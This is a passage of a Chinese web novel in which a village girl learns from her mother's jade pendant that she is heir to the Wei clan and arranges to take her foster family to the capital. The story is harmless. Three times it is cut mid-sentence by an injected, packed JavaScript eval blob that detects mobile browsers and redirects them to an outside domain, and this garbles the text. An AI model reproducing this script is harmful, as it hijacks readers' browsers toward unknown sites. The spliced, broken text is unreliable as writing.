“娘,您对阿央、对我们,都隐瞒了些什么?”吕晋安蓦然抬头看向母亲,他也想知道这背后的真相。 “娘……”年纪最小的吕向遥大抵懂得这跟阿央姐姐的身世有关,若真如那两位哥哥姐姐所说,那阿姊是不是……就不能再做她的阿姊了? “这件事情我知道的也不算多,那个早死的男人只扔下个包着婴儿的襁褓给我,就再也没回来过。”她欲言又止,“倒是有一样东西,应该跟阿央的身世有关。” 赵婶娘将她们带到自己房中,打开枕头下的暗格,从其中拿出一个雕刻精美的小木匣。 “这个,是当初在阿央怀里抱着的东西。”她小心翼翼的打开,递给了吕央。 那是一块由上好羊脂白玉料子雕刻而成的玉佩,中心带粉红,浅色流苏缀以流光溢彩的红蓝黄三色宝石,通体华美的浮云鹿纹足以看出此玉佩是工匠费了多少心思的巨作,定下它的人又是多么用心。 而这上面真正吸引吕央的,是上面仅刻的那一个单字。 她忍不住轻念出声:“婧……” 为什么她感觉这个字如此熟悉? 明明吕央从没见过自己身边有谁叫这个名字。 “女青婧,卫婧。”凭空出现的清润声音如同来去无踪的青年一般突然而至,他掀开帘子不请自来,“直接进来是多有冒犯,不过别担心,我没有别的意思。” 他也是被这块玉佩吸引进来的,和老太太身上那块如出一辙,怕是她看见了又要触景生情一番。 吕央面容呆滞地问:“卫婧……是谁?” 公冶慎还未回答抬眼看见少女的脸也惊讶得愣住:“少君……” 不知何时,吕央的脸上竟已淌满冰凉的泪水。她手忙脚乱地擦去,尴尬地挤出笑容:“我…我也不知怎么,突然就想哭了。” 公冶慎很是理解,毫不意外她的回答:“毕竟……这是您母亲的名字。” 母亲? 吕央反复翻看手中的玉佩,公冶慎走近到她面前:“这是您母亲,卫家上任女君卫婧大人的玉佩。” 卫家?!是她听说过的那个卫家吗? 她恍然大悟般点头,有点没话找话地故作平淡:“原来如此,哈哈,我才知道呢……那她还好吗?” “您的母亲……在您出生后不久便染上疫病离世了。”公冶慎虽于心不忍却也不得不说,“至今已经过世一十八年了。” 吕央垂眸,忽而沉默,不知如何作答。她对旁人口中的母亲几乎没有任何记忆,而此刻听到她早已过世的消息,说不上伤心但也绝对不是能当做无事发生的存在。 似乎那个人即便没在她的人生里出现,却也依旧在吕央内心深处埋下一处关于她的情感。 “当初女君在临终前嘱托她的弟弟将你带回上华,这玉佩应该就是那时被她塞到襁褓中给您的。” 原来是母亲留给她的…… 吕央拧眉,委屈和不解怀疑在心头弥漫:“既然当年派了人来接我,那为何我现在却在吕家村而不是上华城?” 公冶慎长叹一口气:“此事便要从卫家前不久发生的另一桩案子说起了。” 为了节省时间也为了不泄露太多信息,他简洁快速地给吕央介绍了事情的来龙去脉,包括她被叔叔卫衡掉包后又被良心发现的吕仲带回家的事情,赵婶娘也终于知道了当年丈夫暴毙的死因。 吕仲专门在江汝两地替卫衡处理见不得光的脏事,对妻儿也选择了一直隐瞒。赵婶娘从不知他赚的钱都是黑钱…… 十八年前丈夫趁着雨夜不易被发现踪迹,偷偷赶回了家,她本以为是他在外奔波数月后终于得以休憩,但只见吕仲将一箱金钱交给她后又从身后竹篓抱出一个小得可怜的女婴。 丈夫临别前给她的最后嘱托便是要她尽心尽力抚养这孩子长大,切不可让她离开淄阳抛头露面,以免招来仇家。也别说最近见过他,就当他今夜从没有回来过。 她目送着丈夫的身影消失在雨幕中,心里没由来阵阵悲戚。怀中女婴适时嘤嘤哭啼起来,她一边哄着孩子,便任由眼泪流下。 那夜后,丈夫果然再没了消息。她小心翼翼地找人打听过,却依旧了无音讯,仿佛石沉大海。就这样等了三年、五年、七年……日子如白驹过隙般从指尖流过,她也终于明白,那个人不会再回来了。 吕央成了她为数不多的寄托,这么多年她隐隐怀疑过这孩子的身世,却又想起丈夫离开前的嘱托,怕若真的莽撞的去找怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208043|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是只会惹来杀身之祸。 女人无力地跌坐在地,控制不住地哀声痛哭。 吕晋安连忙去抱住母亲,他关于父亲的记忆不多,但也一直对他忽然消失的行径耿耿于怀,未曾想这背后是这样的恩怨。 他理解母亲内心的痛苦,但更明白此刻最难受的还是吕央。 作为事件的主人公,吕央站在原地平静地听完了所有。虽然只是大概,她的心就已经遭受重创。她的目光在手中的玉佩、等她回话的的公冶慎和悲怆的婶娘间反复拨转,她不敢说话也不知道以她的身份该说什么。 婶娘对她有养育之恩,十八年来待她如亲生女儿。而她心爱的丈夫既是要杀她的人也是救下她的人,最后更是因自己而死……论起其中恩仇实在是纠缠难解。 “我知道…他替别人做这种行当,无论当年救不救你,最后都要被杀人灭口的。他活该。”赵婶娘抹掉眼泪,她不是什么不明事理的人,方才也只是想到亡夫以及他的欺瞒,才会这般伤心。 现在伤心劲儿过了,反倒一把握住吕央的手:“他最后救下你只是因为他良心发现,想要跟老天赎一赎他的罪。而我这些年对你的那些所谓的养育之恩,现在看来都是命里注定的。这是欠你的,阿央……千说万说都是我们对不起你。你要恨,就恨婶娘吧!” “婶娘……” 吕央是被婶娘带大的,赵婶娘一个人带着三个孩子生活是如何的辛苦、对她又是怎样的好,她全看在眼里。 “我怎么会恨你呢!” 谁都没有错,要怪也要该怪当年那个下令要杀她的叔叔。 公冶慎抱胸旁观,心中难免唏嘘。 不过也幸亏赵婶娘前十几年一直没声张没去找。毕竟在今年卫衡倒台之前,他的爪牙遍布江汝两州,若有半点风声传到他耳朵里……今日他们还能不能见到少君就是另一码事了。 婶侄二人相拥而泣,吕央极少看见婶娘这般坚强不屈的人落泪,她滚烫的泪水滴落自己肩头,穿透了衣料肌肤,直达内心。 她们都是当年那桩惨案的受害者之一,所以更应该团结在一起,而不是去想谁对谁错,谁欠谁的更多。 她永远认赵华月这个婶娘,她也永远是她的侄女吕央。 姗姗来迟的屈嫱看着这屋里头几人哭作一团的景象有些惊讶,看来公冶慎已经将事情原委告知她们了。 赵华月握着吕央的手紧了又紧,最终化作一个泪中带着慈爱的笑容。她看向门口的几位客人:“那你们和阿央聊吧,我先去做饭,今晚就在这儿吃!” 公冶慎轻笑,礼貌地躬身:“那就辛苦您了。” “这是什么话,本来你们救了阿央就是我们家的恩人,再怎么说都是我们要说声谢,我一定好好招待你们!” “好。”公冶慎对于她的热情也积极回应,赵华月连忙拉着吕向遥和吕晋安去厨房帮忙,屈嫱偏身让了让,随即对常薛冷冷道:“你也去帮忙吧。” 常薛刚想应声又没敢动,眼睛小心翼翼地瞥自家主子,得了公冶慎的允许才嬉皮笑脸地跟上去:“大娘大娘,我也一起!我们车上还带了好多食材过来的!我这就去拿……” 房中此刻只剩三人,吕央手中依旧握着那枚母亲留下的玉佩。她抬眸,眼眶还是红红地,但极其平静地对站在房间门口的两人说道:“我们到别处谈吧,这儿毕竟是我婶娘的屋子。” 见他俩都点头答应,吕央便把他们带到了门口的露天石桌椅坐下:“说罢。” 公冶慎哽了一下,抬头环顾四周——这密谈环境的确质朴得很啊。 吕央不甚在乎他的表情,继续道:“这没人想听我们说话。你们两个能找来,应该都知道了我的底细。” 闻言公冶慎面露欣赏之色,少君虽成长于乡野却不缺胆识不怯场,实在是可造之材。 殊不知吕央也是强装镇定,眼神扫过面前二人:“那就先同我介绍介绍……你们自己是谁吧。” 7. 拖家带口 公冶慎先前回马车换了套竹青色的织金银绣阔袖锦袍,多添了几分少年气,此刻轻摇着手中折扇笑眯眯道:“回少君,在下复姓公冶单名慎,现今算是卫家的内侍。若细究起来,辈分勉强论作您的远房表哥。” 他故意把自己位置放得极低,实际上他亲祖母在世时和卫老太君是关系要好的堂姐妹,也正是他祖母在临终前执意将他送到卫家寄养才让其幸免于难,没被牵扯进后面公冶家满门流放的事里。 卫家人在前十年里都称公冶慎为表公子,待遇上依照本家子女对待。当年的死罪可免活罪却难逃,他因着身上背着的罪籍受限颇多,二十岁及冠后便选择继续留在卫家后院,做了卫老太太身边的内侍。 他同吕央之间这门亲要搭上并不算远,不过既然是要博得少君怜惜,自然不能上来就摆亲戚架子明着拉关系。 “当然,少君不用与我论这些,您直接叫我名字或是复临皆可。” 他说罢又垂下眸帘,吕央莫名觉得看出了一股可怜兮兮的味道,甚至感觉自己如果真的不把他当表哥心里还有会点愧疚。 吕央大咧咧地摆手:“哎呀……我不讲究那么多。这样吧,我叫你一声表哥,你也别老对我说那些折辈的敬语,行不?” 没等满眼惊喜的公冶慎回复,她又看向旁边一直沉默不语的屈嫱:“还有这位姐姐,你也是。你们不用搞那么多虚头巴脑的称呼,直接叫我阿央就行。” 屈嫱原本还在对公冶慎投机取巧故作可怜的姿态充满不屑,听见少君对她说话先是愣了愣,紧接着点头:“是,少君。” “你看看你,刚说完了又错!” 面对少君的抱怨,屈嫱惭愧地低下了头。 公冶慎忍着笑,挑眉看了眼屈嫱,将话接回自己这边:“没事,阿央,我来和你介绍一下——这位是屈嫱,我们一向称屈君或者屈嫱君。她是从小养在你祖母身边的内侍,武艺高强办事有力,什么事情交给她来做必定是滴水不漏。” 屈嫱心道今日太阳是要从东边落下了?难得这黑心狐狸夸她一回。 却听见公冶慎话锋一转:“我肯定比不上屈君那么厉害,也没什么特别的本事,但阿央以后有什么不懂的可以问我,我随时有空,必定知而不言、言无不尽。” 屈嫱心在吐血,好小子,在这儿等着她呢。话里话外看似捧她,实则还是在偷偷创造机会接近少君。她成了干苦力的最佳人选,而他“没什么能力”不就只能待在少君身边了吗? 吕央听罢若有所思,眼睛飞快地在面前两人身上都扫了一遍。 那位叫屈嫱的姐姐光看衣着气质就知道肯定是个性格干练的人,红黑色的武袍上并没有太多华丽装饰,一头长发也只是简单地扎成了高马尾,抱着长剑可谓是英姿飒爽。 不过从行为举止也能看出她的确是从小养在大家族中的内侍,少言寡语而且坚持对她称少君,大抵是因为习惯了自己的身份一时改不过来。 总而言之是个可信可用之人,至于旁边这位“表哥”嘛…… 吕央轻抚下巴暗自思索,无论是这一身的行头还是举手投足间流露的贵气都能看出他肯定没有自己说的那么惨,而能力若是不行的话上华那边也不可能随便就派他来。 他是个聪明人,但最要紧的就是这性格未免太精明了些。 吕央怕自己玩不过他。 他的身份在卫家里面待着这么多年应该也挺尴尬的,所以能养成这般八面玲珑圆滑机敏的性子不奇怪。可惜就可惜在吕央虽然看着只是个乡下野丫头,心思却很细腻,看人极准。 公冶慎从开始到现在一直有意在讨好她,那时在水里她就觉得奇怪,现在想来,那兴许他是知道自己喜欢美男刻意用的招数。 这两人中她还是更放心屈嫱,倒不是她对公冶慎耍的那些小心机有多大恶意,而是她看得出公冶慎另有所求。 如果说屈嫱看着是能不求回报做忠心下属的人,公冶慎就更像抱着算盘在她面前敲珠子的。以后找他办事,说不定还得满足他别的需求才行。 吕央现在对自己这个所谓的少君身份还是云里雾里半信半疑的状态,她更不确定自己以后能不能给出公冶慎想要的交易筹码。 如此想来,对他敬而远之方为上上策。 虽然心里敲定了主意,但面上还是不能表现得厚此薄彼。心思更要藏拙,在既不让他们过于期待也不把她当傻子之间的程度就行。 “那有劳两位多费心,我资质愚笨也没读过多少书,届时别嫌弃我就行。” 公冶慎摇头否认:“表妹切莫妄自菲薄,你心思活络伶牙俐齿,聪慧得很。” “哈哈哈哈,表哥这么夸我,我都不好意思啦。”吕央捂着脸颊傻笑,状似羞涩模样。 “表哥还没开始夸呢,方才只是实话实说罢了。”公冶慎边笑边不动声色地往前凑了一点,用那只骨节分明的手撑着自己的脸,仔细地看着吕央,“阿央如此聪慧,届时外祖母见了肯定欢喜。” 吕央眼珠一转,也笑嘻嘻地往他身边凑,满脸向往:“表哥,那我什么时候能见到外祖母呀?” 公冶慎倒没想到吕央对于回家的事情出乎他意料的积极,还以为她多多少少会紧张心怯呢。不过这样也好,单纯的人最好相处。 “少君,您称老太太应称祖母。”一直看着他们交谈久未开口的屈嫱冷不丁冒出来,“卫家女不外嫁只赘男夫,只有卫族才是本家,故而没有外祖这一说法。” 屈嫱快速扫了一眼公冶慎:“复临君称外祖也是因为他并非卫家出身。” “那届时我回家之后该如何称呼其余长辈们?” “回少君,母辈中比您母亲年长的男子称伯,年少的称舅。女子中更年长的称姑姑,年少称姨姐。祖辈的只是在这之上再加一辈算。至于对您同辈的兄弟姐妹,直称即可,本家不论堂表。” “原来是这样。” 吕央恍然大悟地点点头,以往只听说过卫家的名头,是女人当家,其他一概不知。今日才知道她们大家族里面是这样论的。 “我一定记住。”吕央还没记完忽然反应过来,“你刚刚又叫我少君了!” “抱歉少君……” “算了算了,你就这么叫吧。”吕央双手撑着脸,“你刚才给我解释那么多,我还得谢你呢,就不为难你了。” 屈嫱抬眸略显惊讶地看着眼前朝她俏皮地眨眨眼的少女,忍不住和她一同笑了起来。 旁边的公冶慎轻咳了两声:“不是有意要打断二位,不过关于何时启程归京的事情,我们是不是该商讨一下。” “哦,对哦!”吕央一拍脑袋差点忘了一开始她问的是这个, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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婶娘在村里干了一辈子农活,也该享受享受了。再说京城肯定有比县里面更好的私塾,晋安哥还能省去以后进京赶考的功夫,直接方便了好多倍呢。至于向遥,她年纪虽小但能出去见见世面也是极好的。 想到这儿,她眨巴着那双大眼睛左看右看,期待面前二人的回复。 屈嫱没什么反对意见,她们之中公冶慎级别更高,便还是由他来拿主意。 公冶慎唰地合起折扇,笑意盈盈:“一切依少君所想。” 整个西京最不缺钱的就是卫家,别说多养三个人,三千人也不在话下。她既然想要带上原来的家人就一并带回上华城安置即可,不算什么难题。 只要能让她开心,其余什么都不重要。 吕央果然心满意足地点头:“那就行,这样的话出发的时间还得再问我婶娘,家里这些都得好好收拾一番才行呢。” 说罢她便起身跑去厨房找婶娘去了,看着少女轻快蹦跳的背影,公冶慎脸上的笑容逐渐敛起。 屈嫱笑得连自己都没发觉到底笑了多久,脸都酸了才重新冷着脸评价:“少君……还挺可爱的,为人也坦诚直率念旧情。” “嗯。” 公冶慎跟着附和一声,顿感沉郁的心里却隐隐觉得吕央似乎还隐藏着什么没表现出来。 希望只是他的错觉。 屈嫱忽然起身:“走吧,开饭了。” 紧接着主屋的院子里传来赵华月热情的叫喊:“饭菜都好了,可以来吃饭了!” 公冶慎愣在原地看着抱着手臂甩下他自顾自往里走的屈嫱,不仅感叹这家伙真是对吃饭这事有着独特的感知能力。 8. 戳人心窝 “都坐,都坐哈!”赵华月喜笑颜开地端着最后一道菜放到餐桌最中间,连忙招呼大家坐下开饭。 为了这一餐饭她可是专门动用了家里那张好久没用的大桌子,沉得很,还好有那个虽然看着年纪小但特别有力气的男娃来帮忙,这一下就给搬出来架好了。 给她满意得都开始问这男娃子什么年龄条件、是否有考虑婚娶了。常薛人呆,吃了大娘的几块馒头就开口全说出来了,顺带着狂夸自己的主子公冶慎以及那比他优秀百倍的哥哥,说得简直天上有地下无。 赵华月一听,心里顿时盘算起来,这孩子看着性格好,跟向遥可合适!至于他哥哥……阿央喜欢漂亮的男孩子,怎么看都是那个什么君更合适呢。 不对不对,赵华月本来想得挺美,但忽然记起她家阿央接回去当少君以后不是想要什么男人就有什么男人嘛!她根本不用再操心这事儿了。 果然那老道士说得对,阿央是天生贵命,不是什么阿猫阿狗凡夫俗子都能来沾边的,以后金枝玉叶享衣食无忧,身边再配几个美男侍奉,这日子才叫美呢。 她正替吕央开心,下一瞬人就到她身边了。 “婶娘!” “阿央,你和他们聊得怎么样了呀?” 这么开心的事情,吕央也不想同婶娘卖关子,紧紧攥住赵华月的手:“聊得可好呢,而且我说了,婶娘和向遥、晋安哥都要和我一起走,我们不分开。” “这这这……”赵华月一听便慌了,“人家能同意带这么多拖油瓶吗?况且阿央你也不提前跟婶娘商量一声,我们又不是卫家要找的人,跟着去不好吧?” 说着她连忙摆手:“这事儿不成哈,我们不能去扯你后腿……待会儿人家以为咱们是想占便宜,觉着咱们是那种斤斤计较小肚鸡肠的人呢。” “哎呦婶娘你别瞎想了,你们不跟我一起走我能放心吗?万一王家李家托人寻仇咋办?而且到时候肯定不少人奔着我这个少君的名头来烦你们,你们躲得过吗?就算你躲得了晋安哥还能躲吗,他不读书不考功名啦?” 吕央这每一句都稳稳锤在赵华月的心窝上,坏处说完了她换上一副笑脸贴到婶娘身边小声利诱:“而且婶娘你想,上华可是大京的国都,最好的书院和老师都在那儿,让晋安哥去上华读书能少走多少弯路呀!更别提上华遍地俊郎官、名才子,向遥的婚事到时候也不用您愁了呀。” 赵华月越听越心动,似乎眼前已经是儿子金榜题名女儿风光出嫁的画面了,吕央最知道她心里想要什么,婶娘不可能不答应的。 可出乎她意料的是赵华月仅仅犹豫了一瞬,还是摇头了:“不行。阿央,婶娘知道你是为我们考虑,可是你说的这些还是届时得麻烦你,做人不能这样,你还没回到卫家我们怎么能算计你给我们带来的好处呢?” “这不是额外的好处,是你们应得的呀婶娘!”吕央就是希望大家一块儿到上华去,别让某天她一个人在陌生地方里孤立无援,“你们陪着我,我才放心,这是我给你们辛苦的报酬。” “阿央……” 吕央轻轻靠在她怀里,将头倚在女人肩上:“婶娘,这件事不光是为了我的私心,也确实是想帮哥哥和向遥,他们不能一辈子待在这儿的。外面还有更广阔的天地,留在汝州只有危险没有机会。况且我们是一家人,怎么能分开呢?” 赵华月抬手抚上少女的肩发,吕央的劝告她都听得明白,这丫头是自己看着长大的,最知道她什么脾气——重感情又认死理,心比老黄牛还犟。 知道自己拗不过她,赵华月只得妥协:“好好好,一切都依你!” “好!”吕央张开双臂给婶娘抱了个结实,“我去把这好消息告诉哥和向遥,他俩肯定高兴!” “哎,去吧!” 望着少女快步跑开的背影,赵华月微笑之余不觉有些鼻酸,隐隐有落泪之势。 恰好常薛劈完柴火进来,虎头虎脑地打断了她忽如其来的悲伤:“婶子这些柴火放哪儿?” 赵华月快速抹了抹眼睛,随手指向炉边:“放炉灶下面那块儿空地方就成。” “嘿嘿,行嘞!” 赵华月掀开锅盖翻了翻里头炖得软烂鲜香的鸭肉,眼神却有意无意地往旁边飘:“小薛啊,话说卫家那么大个家族,是不是规矩也蛮多的?” 常薛正蹲在下面帮忙看火,闻言想都不想脱口而出:“没有啊婶子。卫家是经商起家的,不兴那些什么高门大户常念叨的条条框框。家里的事情虽然都是老太君分配好了各房自己干自己的,但也总会互相帮衬。咱们卫家最看重的就是一家和乐融融的气氛。” 不知想到了什么,他又不大好意思地挠挠头:“当然肯定也有例外,不过很少的!总之卫家真的没什么规矩,婶子不信你看看我就知道了。” 看眼前少年傻笑得全然一副没心没肺的模样,赵华月原本担忧的心也顿时放松了不少。 她也不多想了,既然卫家派来的人都说没反对,就先顺着阿央的心意来吧。 要是真在上华城待不下去,大不了到时候再回吕家村嘛! 正在里屋拉着哥哥和妹妹大谈将来美好生活的吕央听见婶娘的呼喊连忙止住话头:“先不说了,咱们吃饭去!” 吕向遥激动得一蹦一跳往外跑,小丫头刚听能去上华城时就恨不得叉腰仰天大笑,而且想到阿姊还说她永远都是自己的姐姐,绝不会和她们分开,吕向遥就更开心了。 吕晋安虽然也和赵华月一样犹豫担心过,但都被吕央几句话说服了。更何况吕晋安的内心也本就有走出江汝到上华立业的志向,眼下好不容易有了机会他又如何能不心动。 思及此,他还是红着脸点头答应了。 饭桌上众人落座,吕央和赵华月同坐一边,正对面就是公冶慎和屈嫱。 常薛和吕向遥坐在左边,常薛虽然比小丫头大了好几岁两人心智却看着差不多似的,连夹菜都要比快慢,吕向遥不像常薛打小就是个练家子,屡屡败下阵来,正要发脾气便对上面前大哥严肃的表情,只好忍了下来。 公冶慎也轻咳一声,示意常薛别瞎闹,好好吃饭。 “都多吃点!”赵华月热情地桌上所有人夹菜,她还记得常薛有个哥哥,刚想招呼却没找到人。 公冶慎解释道:“常敷带队把那些人送去州府了,他会在汝州等着之后再同我们汇合。” 吕央正啃鸡腿呢,闻言猛地抬头:“那咱们不得快点出发?别让人家常敷等久了!” 她扭头看向赵华月:“我们明天抓紧收拾收拾吧。” “无妨,也不用太急,他多等一会儿没什么。”公冶慎轻笑,“收拾的事情我们也可以帮忙,你们尽管吩咐就是。” “这种事情哪好意思麻烦你们呀!”赵华月说着又给他碗里夹了一大块扣肉,“本来让你们带上我们就挺不好意思的……” 公冶慎先是看着那块油腻的肉稍稍面露难色,但还是迅速换回客气的笑脸:“夫人言重了,这是阿央的心意,我们作为下属自然是听从少君的命令。况且我们闲着也是闲着,来帮忙收拾也能更快些。” “好,那就辛苦你们了。”赵华月知道公冶慎是让自己去谢吕央,不得不感叹还得是大地方来的人说话有礼貌又好听。她偏头看向吕央,却发觉少女正在紧紧盯着对面的青年。 吕央狠狠咬下一口肉汁四溢肥而不腻的扣肉,她本来是在观察公冶慎何时动他碗里那块扣肉,听了他和婶娘的对话忽然发现这人挺有意思,对她和对别人似乎是两个态度。 目的还是太明显了。 吕向遥则在听常薛低声同她讲上华城里好吃好玩的东西,忍不住大声感叹:“哇!那么厉害呀!到时候我也要玩!” 吕央被小妹那向往的模样萌得心都软了:“好呀!到时候阿姊带你去。” 小姑娘嘴里鼓鼓囊囊地嚼着,点头如舂米,可爱得紧。吕向遥忽然想到什么,抬头看了一圈桌上的人,好奇地问:“到时候我们也和阿姊住一起吗?” “那是自然啦。”吕央说罢冲对面的两人挑眉,公冶慎接过话:“届时赵夫人和吕小姐就跟阿央一同入住后院即可,至于……” 他欲言又止,就算吕央把吕晋安当亲哥哥也断没有让外男同住一院的道理,所以还是得分开。至于放到哪个院……公冶慎扫过一身书生装扮的吕晋安,不由得一拍脑袋——对啊,他怎么把这茬给忘了。 “吕少爷可以住我院中,不过既然之后要去上华的书院读书,大抵是要住在校舍里的。” 吕央点点头,看着对他的安排很满意。 “书院?上华城都有什么书院啊?” 吕向遥对什么都好奇,公冶慎顺带着也回答了:“上华城有三所闻名于世的书院——青崖、天枢、齐章。 “青崖书院在城郊的墨落山上,比起学识其实更注重培养学生的心性品德。齐章书院离卫家最近,就在城东区,所以那里面最多的就是是富家子弟和有待管教的纨绔公子,与其说是书院不如说是财院。天枢书院在城中区,天子脚下,书院的院长是前太子太傅,承先帝的命令开办天枢,选拔最优秀学生进入书院教导。” 常薛猛猛点头:“所以才有人说,如果进了天枢书院,那就是一只脚已经踏进了朝堂,板上钉钉的人中龙凤。” 吕向遥听得入迷:“哇!好厉害!” 公冶慎话里有话:“要送进青崖和齐章都不算什么难事,不过如果想去天枢,就得靠自己的能力。” 吕央起身夹了一筷子公冶慎面前的菜,将他的注意力吸引过来:“晋安哥才识过人,可是汝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208045|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州头名呢。” 公冶慎只是笑了笑,不置可否。 吕晋安听完两人的言语后惭愧低着头,他自知自己还是不够优秀,只能勉强笑道:“西京五十一州,每年三次州考,不知会有多少头名呢。更别提上华城人杰地灵,人才更是多如牛毛罢。” 他故作开朗的笑让吕央有些难受,她自小和吕晋安一同上学,见过他学习有多用功。她虽不喜欢读书,却也屡次被吕晋安的刻苦打动。 “不过,即便这样我也不会放弃去天枢书院的,凡事总要努力过才有资格说不行。” 见他眼中的坚定还是平常最熟悉的模样,吕央顿时放心了。 她就说嘛,凭晋安哥对读书的热爱,他肯定不会轻而易举地放弃心中目标的。 公冶慎亦没想到面前的青年还是个如此有志气的书生,对他的文章有些兴趣:“那不知我可否有资格拜读几篇晋安兄弟的文章?” 他这回说话都放亲切了不少,吕央偷偷念叨着公冶慎变脸比翻书还快,也不知道他到底能不能看懂呢就要看! 未曾想吕晋安闻言兴奋至极,直接原地弹了起来,起身快步回屋把自己的文章郑重地递到公冶慎手上:“复临君若不嫌弃,这几篇拙作姑且算可以入目的。” 公冶慎站起来伸手接过,踱步走到庭中去看,越看眉头愈发皱紧。吕晋安则紧张地守在旁边,翘首以盼他的反应。 吕央看阿兄这个态度,想必这公冶慎是真的有两把刷子。 常薛见吕央那怀疑打量的目光忍不住拍着胸脯跳出来帮主子说话:“人不可貌相啊少君,别看我们主子长得比较妖艳动人,但其实在青年才俊中论起学识来,整个西京能比过他的只有一个人。” 爱八卦的两姐妹异口同声道:“谁啊?” “自然是那劳什子百里君!百里文赋!” 百里文赋的名头她们是听过的,既是上华第一美男也是西京赫赫有名的大才子,只是没想到这个公冶慎也这么厉害啊! 吕央看常薛满脸愤怼,似乎对百里君很有意见。 “少君有所不知,咱们公子不仅是第二才子,也是上华排名第二的美男子。” “哦。”吕央冷淡地回了一声,随即没忍住哈哈哈大笑起来。原来公冶慎这么惨,还是个万年老二,事事被那个叫百里文赋的压了一头。 屈嫱也冷不丁地冒了一句:“所以,尽量不要在他面前提起百里文赋。” 常薛脸色更严肃了点:“我一直觉得,其实那个什么百里文赋根本学识容貌都不如公子,就是靠他那点身份地位才被捧得高的。若是公子也……” 他想到什么又泄了气似的转了话头:“反正公子比他厉害多了。” 吕央疑惑不解:“既然他这么厉害,怎么还不去考取功名啊?” 反倒留在一个商贾大家里做仆从的活。 倒不是说卫家作为世家大族配不上他,而是卫家向来不问政事,公冶慎若真有这方面才识又何故白白浪费。 吕央一句无心的话让常薛这个大咧到没心没肺的家伙都有些心梗:“这个……” 屈嫱轻微摇头,不知是无奈的感叹还是同样惋惜。 “不错。”另一边公冶慎脸上终于带了笑意,将书稿交还吕晋安手上:“你政见独到,用典博古通今,于时事点评也足够犀利深刻,的确是人才。到时我会让人安排你直接参加天枢书院的入院考,凭你的能力应该不是问题。” “多谢复临君!” 公冶慎打断他作揖的动作:“不必,要谢还是谢阿央吧。” 吕央正啃肘子呢,闻言只是愣了一下又头也不抬地继续吃。 短短半天已经对公冶慎的抬举习以为常了,果然是人精,最会捧人。 晚上公冶慎他们本来想继续睡马车,但赵华月已经收拾出了一间客房,不由分说地分配好了:“那个公冶公子你就和小薛住客房,屈姑娘和阿央一起,怎么样?” 屈嫱作为侍从原本不该和主子同睡一榻,但赵华月盛情难却加上自己的确还有别的心思,便点头答应了。到时候打地铺不就行了,现今和少君共处一室的机会可是最难得的。 看着屈嫱直接跟着吕央走进房间,公冶慎第一次有种失策的感觉。他身边竟没有一个得力的女下属,回京以后得着手看看。 “可惜,可惜。” 常薛抱着马车上的枕头傻乎乎地问:“公子,什么可惜?” 公冶慎又一次笑着说出轻飘飘的刻薄话语:“可惜你爹娘当年生的是一对兄弟,而不是兄妹。” “啊?”常薛看了看自己,“公子,我是男的呀!” 公冶慎两眼一黑,摆手不再多说,自己回屋了。 想来若常薛真的是个女孩子,应该也比现在聪明不少。 9. 难言之隐 吕央第一回跟家人以外的人睡一张床,本来还有些紧张,还没等她叫屈嫱上来,后者环视了一圈房间里忽然道:“我打地铺吧。” “啊?不用……我这床够睡的。” 吕央说着伸手拍了拍自己旁边剩的一大片空余位置,屈嫱摇头:“不是这个原因……少君就当我习惯睡地上吧。” “哦……”还有这么奇怪的习惯? 吕央看得出屈嫱是认准了想法就不改变的人,故而不再多劝,起身帮她从柜子里找出席子和另一床薄被。 她原本还在紧张,担心万一自己睡相太差半夜吓到人家怎么办,现在得知屈嫱想睡地上反倒松了一口气。 吕央平静地躺在床上,两眼一眨不不眨地盯着屋顶。明明是自己睡了十几年最为熟悉的床,怎么偏生今晚这么难受呢? 怎么都没有困意。 烦躁得想在床上滚来滚去,又怕翻动的响声太大吵到下面的屈嫱,只能作罢。 “少君睡不着吗?” 屈嫱的声音一如白天时的冷静平淡,似乎是在她意料之中的景象:“是因为我在而不习惯的话,我还是回马车上吧。” “没有!不是因为你啦……”吕央连忙叫住准备起身的屈嫱,无奈又认命般长叹一口气:“我只是,有点没缓过来。” “昨晚这个时候我也心神不宁,但只是因为知道第二天我就要出嫁了,所以紧张担忧。” 结果短短一天之内,天翻地覆。 “突然知道自己是什么卫家少君,还要离开家去上华城,怎么说都肯定会担心的吧。”吕央努着嘴把自己瘫成大字型,“我也就是白天精神足才看着天不怕地不怕,到了晚上可脆弱了。” 屈嫱愣了一下,听出吕央话里埋怨撒娇的意味,忽然会心地笑了。 少君能在她面前展露这样的自己,应该是表明选择信任她了。 “我们来得太紧急,的确欠缺了考虑。”屈嫱回忆了一下安抚人的话术,“不过少君放心,有我们在,接下来一切都会很顺利。” “真的?” 吕央滚到床边探出半个身子去看躺在地上双手环抱嘴角带笑的女人,话里有些怀疑。 “真的。”屈嫱点头,“少君也不必怕归家以后的事情,卫家那边老太君都打点好了。” 深夜里再一次从她们嘴里听到老太君三个字,吕央心中顿时缠起思绪万千,总觉得胸口闷闷的。 “祖母……是个怎么样的人?” 